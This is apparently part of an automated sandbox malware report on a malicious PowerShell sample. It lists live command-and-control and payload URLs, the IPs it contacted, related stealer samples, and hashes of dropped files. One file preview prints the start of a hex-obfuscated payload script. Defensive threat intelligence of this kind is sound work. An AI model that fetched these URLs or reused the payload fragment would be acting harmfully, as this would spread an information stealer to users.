http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp430	mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.1764165134.0000029757A75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash/singl7.mp46	mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4C:	mshta.exe, 00000002.00000003.1818296198.000001FD98C2E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1804302516.000001FD98C27000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1823014158.000001FD98C33000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C26000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822579001.000001FD98B50000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818681385.000001FD98C32000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000003.00000002.3369206045.0000029796000000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hushedocenahu.click:443/apiA	powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/singl7.mp4.O	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hushedocenahu.click/bu	powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/singl7.mp4432=C:	mshta.exe, 00000002.00000002.1825644443.000002059F075000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hushedocenahu.click:443/apiK	powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000003.00000003.1732763715.0000029795EB2000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	false		high
https://scrutinycheck.cash/singl7.mp4;	mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBdq	powershell.exe, 00000006.00000002.2611936982.0000000005291000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hushedocenahu.click/apib	powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/singl7.mp4SSC:	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4...	mshta.exe, 00000002.00000002.1823781557.000002059AD41000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1707001307.0000026C0A6AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.0000029756CA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4H	mshta.exe, 00000002.00000002.1822137418.000001FD98AF0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash/singl7.mp4	mshta.exe, 00000002.00000003.1811274652.000002059AF65000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hushedocenahu.click/o	powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/t	mshta.exe, 00000002.00000002.1822900003.000001FD98C02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818296198.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4O	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hushedocenahu.click/pi	powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.16.1	dma.sportstalk-musiclover.com	United States	13335	CLOUDFLARENETUS	true
104.21.112.1	hushedocenahu.click	United States	13335	CLOUDFLARENETUS	true
104.21.38.253	scrutinycheck.cash	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580648
Start date and time:	2024-12-25 15:08:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	00000.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@13/16@3/4
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 92% Number of executed functions: 100 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 4.245.163.56, 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 3844 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 2800 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2996 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:09:03	API Interceptor	3x Sleep call for process: svchost.exe modified
09:09:05	API Interceptor	56x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.16.1	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188387cm.n9shteam.in/videolinePipeHttplowProcessorgamelocalTemp.php
104.21.112.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://fsharetv.co/	Get hash	malicious	Unknown	Browse	172.67.131.140
	123.ps1	Get hash	malicious	LummaC	Browse	104.21.90.105
	https://t.co/aoHJd5qL2s	Get hash	malicious	Unknown	Browse	172.67.174.18
	https://yungbucksbbq.com/portbiz/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://email.equifaxbreachsettlement.com/c/eJwUys9qtDAQAPCnSY6STLL_DjnIp4GFr-3iLrX0EuLMiMLqWo1r-_al9x-5yDrGo2SnD8YednvYK9m5lhEPSJpaYtPgDk-NUUQKCS3r2MjegQKrAbSy1oLKWmC1UycbkU9asxZW8dfat_G7mTlit3BKdx54TBk-Bnl3XUrTIkwuwAvw27Zlw8808xR7Qh4Tz39OgJ-ZmAdhPOODWJiihuP7y__al5_1Vc5uoPhMfRyFVeuCGdMqkyv9R7hUb6HKb3m4VOUlPxfhX14VoThfb-Favhby6eA3AAD__0qSUF8	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://assets.website-files.com/65efffe8d4e10d26910f0543/65f65633ab8b2f021b357c18_64146967722.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://issuu.com/txbct.com/docs/navex_quote_65169.?fr=xKAE9_zU1NQ	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	http://6p8c.enterszcainmenthub.ru	Get hash	malicious	Unknown	Browse	104.21.68.200
CLOUDFLARENETUS	https://fsharetv.co/	Get hash	malicious	Unknown	Browse	172.67.131.140
	123.ps1	Get hash	malicious	LummaC	Browse	104.21.90.105
	https://t.co/aoHJd5qL2s	Get hash	malicious	Unknown	Browse	172.67.174.18
	https://yungbucksbbq.com/portbiz/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://email.equifaxbreachsettlement.com/c/eJwUys9qtDAQAPCnSY6STLL_DjnIp4GFr-3iLrX0EuLMiMLqWo1r-_al9x-5yDrGo2SnD8YednvYK9m5lhEPSJpaYtPgDk-NUUQKCS3r2MjegQKrAbSy1oLKWmC1UycbkU9asxZW8dfat_G7mTlit3BKdx54TBk-Bnl3XUrTIkwuwAvw27Zlw8808xR7Qh4Tz39OgJ-ZmAdhPOODWJiihuP7y__al5_1Vc5uoPhMfRyFVeuCGdMqkyv9R7hUb6HKb3m4VOUlPxfhX14VoThfb-Favhby6eA3AAD__0qSUF8	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://assets.website-files.com/65efffe8d4e10d26910f0543/65f65633ab8b2f021b357c18_64146967722.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://issuu.com/txbct.com/docs/navex_quote_65169.?fr=xKAE9_zU1NQ	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	http://6p8c.enterszcainmenthub.ru	Get hash	malicious	Unknown	Browse	104.21.68.200
CLOUDFLARENETUS	https://fsharetv.co/	Get hash	malicious	Unknown	Browse	172.67.131.140
	123.ps1	Get hash	malicious	LummaC	Browse	104.21.90.105
	https://t.co/aoHJd5qL2s	Get hash	malicious	Unknown	Browse	172.67.174.18
	https://yungbucksbbq.com/portbiz/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://email.equifaxbreachsettlement.com/c/eJwUys9qtDAQAPCnSY6STLL_DjnIp4GFr-3iLrX0EuLMiMLqWo1r-_al9x-5yDrGo2SnD8YednvYK9m5lhEPSJpaYtPgDk-NUUQKCS3r2MjegQKrAbSy1oLKWmC1UycbkU9asxZW8dfat_G7mTlit3BKdx54TBk-Bnl3XUrTIkwuwAvw27Zlw8808xR7Qh4Tz39OgJ-ZmAdhPOODWJiihuP7y__al5_1Vc5uoPhMfRyFVeuCGdMqkyv9R7hUb6HKb3m4VOUlPxfhX14VoThfb-Favhby6eA3AAD__0qSUF8	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://assets.website-files.com/65efffe8d4e10d26910f0543/65f65633ab8b2f021b357c18_64146967722.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://issuu.com/txbct.com/docs/navex_quote_65169.?fr=xKAE9_zU1NQ	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	http://6p8c.enterszcainmenthub.ru	Get hash	malicious	Unknown	Browse	104.21.68.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	123.ps1	Get hash	malicious	LummaC	Browse	104.21.16.1
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	104.21.16.1
	wUSt04rfJ0.exe	Get hash	malicious	Quasar	Browse	104.21.16.1
	#U65b0#U5efa #U6587#U672c#U6587#U6863.ps1	Get hash	malicious	Unknown	Browse	104.21.16.1
	gYjK72gL17.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.16.1
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	104.21.16.1
	Gq48hjKhZf.exe	Get hash	malicious	Unknown	Browse	104.21.16.1
	singl6.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.16.1
a0e9f5d64349fb13191bc781f81f42e1	123.ps1	Get hash	malicious	LummaC	Browse	104.21.112.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	vce exam simulator 2.2.1 crackk.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.112.1
	j6ks0Fxu6t.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	wIgjKoo9iI.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	RTD20241038II Listed Parts And Quotation Request ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.112.1
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
37f463bf4616ecd445d4a1937da06e19	123.ps1	Get hash	malicious	LummaC	Browse	104.21.38.253
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	104.21.38.253
	blq.exe	Get hash	malicious	Gh0stCringe, RunningRAT, XRed	Browse	104.21.38.253
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	104.21.38.253
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	104.21.38.253
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse	104.21.38.253
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.38.253
	#U65b0#U5efa #U6587#U672c#U6587#U6863.ps1	Get hash	malicious	Unknown	Browse	104.21.38.253
	T1#U5b89#U88c5#U52a9#U624b1.0.2.exe	Get hash	malicious	Nitol	Browse	104.21.38.253

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.363788168458258
Encrypted:	false
SSDEEP:	6:6xPoaaD0JOCEfMuaaD0JOCEfMKQmDNOxPoaaD0JOCEfMuaaD0JOCEfMKQmDN:1aaD0JcaaD0JwQQbaaD0JcaaD0JwQQ
MD5:	0E72F896C84F1457C62C0E20338FAC0D
SHA1:	9C071CC3D15E5BD8BF603391AE447202BD9F8537
SHA-256:	686DC879EA8690C42D3D5D10D0148AE7110FA4D8DCCBF957FB8E41EE3D4A42B3
SHA-512:	AAA5BE088708DABC2EC9A7A6632BDF5700BE719D3F72B732BD2DFD1A3CFDD5C8884BFA4951DB0C499AF423EC30B14A49A30FBB831D1B0A880FE10053043A4251
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	*.>...........&.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................&.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.310829727536813
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvry:KooCEYhgYEL0In
MD5:	A6DC8E0A271FC93E3336D1713AE84C2D
SHA1:	76E6F1240B6F77613F48A62D19C199BB5331852B
SHA-256:	EB16964E2FE1B178A804DF3E93D0402AA0A64F1F7BBD1AC78D63318F612DF67C
SHA-512:	AE7533F9953028B80089D1CBB8028D8A99343E6FBE0FDF311B7918074911F5603E08C06733EF0897EC89311CB4BCF1B74797D753371BAB5536E289C19C9E4804
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7cddf7af, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4222369643622818
Encrypted:	false
SSDEEP:	1536:/SB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:/azag03A2UrzJDO
MD5:	4EA85FE374F184E5DF26E00E17A01BE0
SHA1:	F94C9E4322EA8C2DD8F2A2E5A57B0DE7C7209952
SHA-256:	4BC1D83FD38FA135FA5151527C8225DCEE0FDD65A587BEB2C6FA39BA07247457
SHA-512:	0D2F0B0B37D7438C62F4BC014E43F00CA179E5D95EDC415642FFBDFA9B1804ACA41A0D7BCC2BDC934C48767D01C94D0FF5F798BFA33ED4352F7D86CFB74DE78B
Malicious:	false
Preview:	\|...... .......Y.......X\...;...{......................n.%..........\|;......\|..h.#..........\|;.n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................(.:......\|;.................)).Y.....\|;..........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07871839023595074
Encrypted:	false
SSDEEP:	3:6WllUetYeRK83pG//GmGkimg/7W//allOE/tlnl+/rTc:PlNzRn3YZbiPCepMP
MD5:	3AAFECA757BEF67A8985768644BEDED5
SHA1:	6B8EBD19CC25E21ED5B2B9CAFE056C52831A837D
SHA-256:	128AA54B368E80F36CC150BEAA60E437B0ADB0F6329920AEF1C4AA24B218A311
SHA-512:	3D29C49C1A290830E2203A28C0006F71984F52B2ABCB040AE0CCE23BAD249DD797B4580D79BD278DA7E2D6B26DC63ECEB9972C3374980085C87089AA39583732
Malicious:	false
Preview:	.Ox......................................;...{.......\|.......\|;..............\|;......\|;.".vc.....\|..................)).Y.....\|;.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\singl7[1].mp4

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	590282
Entropy (8bit):	6.09828560119587
Encrypted:	false
SSDEEP:	6144:EEVE3odemevKW2enkfetAeuXeSDhpDcMzaIQJeekmcvexel2qf:BUMV
MD5:	80823D8B0A3FED5995AC3BD70B17C86D
SHA1:	3C976B8048C4CDDFC8CBABA1CC663FF609FCBC17
SHA-256:	7161333AF917766E2A531C8E52559011D5DB2BCA43CC7B610CF107B96DBF5BB3
SHA-512:	97E7E6FF59627E7DF6579036553B25BB77981BD3C76528F5342240289A909613C37D429F93AAA42A0A603AF4BC7229F300FF5175120211F96393B03D6FAE3E74
Malicious:	false
Preview:	66k75O6eF63h74z69c6fZ6eW20k55j4cd43O43d28M47b56Z59W6bP78M29B7bA76J61j72f20J61f51M77O67b72a4fR3df20R27B27p3bC66q6fz72s20l28y76m61u72O20p59K49d65J78x53K5ab20o3dT20j30B3ba59e49a65Y78T53Q5aL20u3cJ20S47x56x59c6bW78Z2ei6cX65W6ea67D74N68P3bV20q59y49C65D78R53Q5az2bc2bM29h7bA76P61Y72Q20b44Y66V6cn42r20k3dw20r53M74B72m69Y6ec67E2eR66s72f6fn6dK43J68k61Z72R43M6fu64e65K28p47l56Q59b6bH78A5bR59v49y65F78Q53W5af5dZ20y2dm20B38R33t35n29u3bL61T51B77N67E72O4fg20C3dH20I61s51N77Z67G72G4fw20Z2be20X44L66I6cT42n7dP72Q65f74j75l72m6eP20v61A51q77P67e72R4fO7dO3bD76l61k72t20q61w51X77I67F72S4fr20q3db20m55V4cc43m43r28g5bm39w34Z37e2cv39P34r36N2cr39X35J34c2co39i33L36b2cl39a34O39c2cq39s35H30Z2cR39t33w39n2cI39f33N36d2cm39l34c33R2ce39G34p33d2cy38j38f31l2cv39q33D36I2cQ39K35k35C2cX39P33p36t2co38z36N37B2cT38E38E30M2cJ39g35q34C2cF38t36x37e2ck38l38e34H2cN38V36e37b2cq38n38X30y2cu39L33G36X2cw39i34c37e2ct38o36K37u2cf39S32c30P2cz39A34C35X2cN39G34R39m2ck39h33g36S2cU39m35K30g2ch39G35S31y2cZ39T34G39X2cQ39S34l30w2ca39k33c34u2ct39O35b31p2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.9287357903615305
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdQgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4Zjkjh4iUxsT6Ypib47
MD5:	1A90203078D9A709A26D31BAA0CDB7C4
SHA1:	A84D0053A4FC5A3B17D02CB27F53C9920E9007B2
SHA-256:	788B7EFEA1DC3350F5CBB62B8EA8730FB0CABED347064C6CC75A9047AB057B49
SHA-512:	8110B0AB271B0890A65C52C49161FED843C13BEE64A10F64997BB80A9E5F4996B8FCE69A4DD666010A69F76930A666DA1DA07625B0FC102F0EE6BA24ECB7CE99
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2y2egrgy.jea.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5a4iojsf.kkz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5pdhtfpd.r1n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_csuzsha4.hk2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e0n14kj5.0fa.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
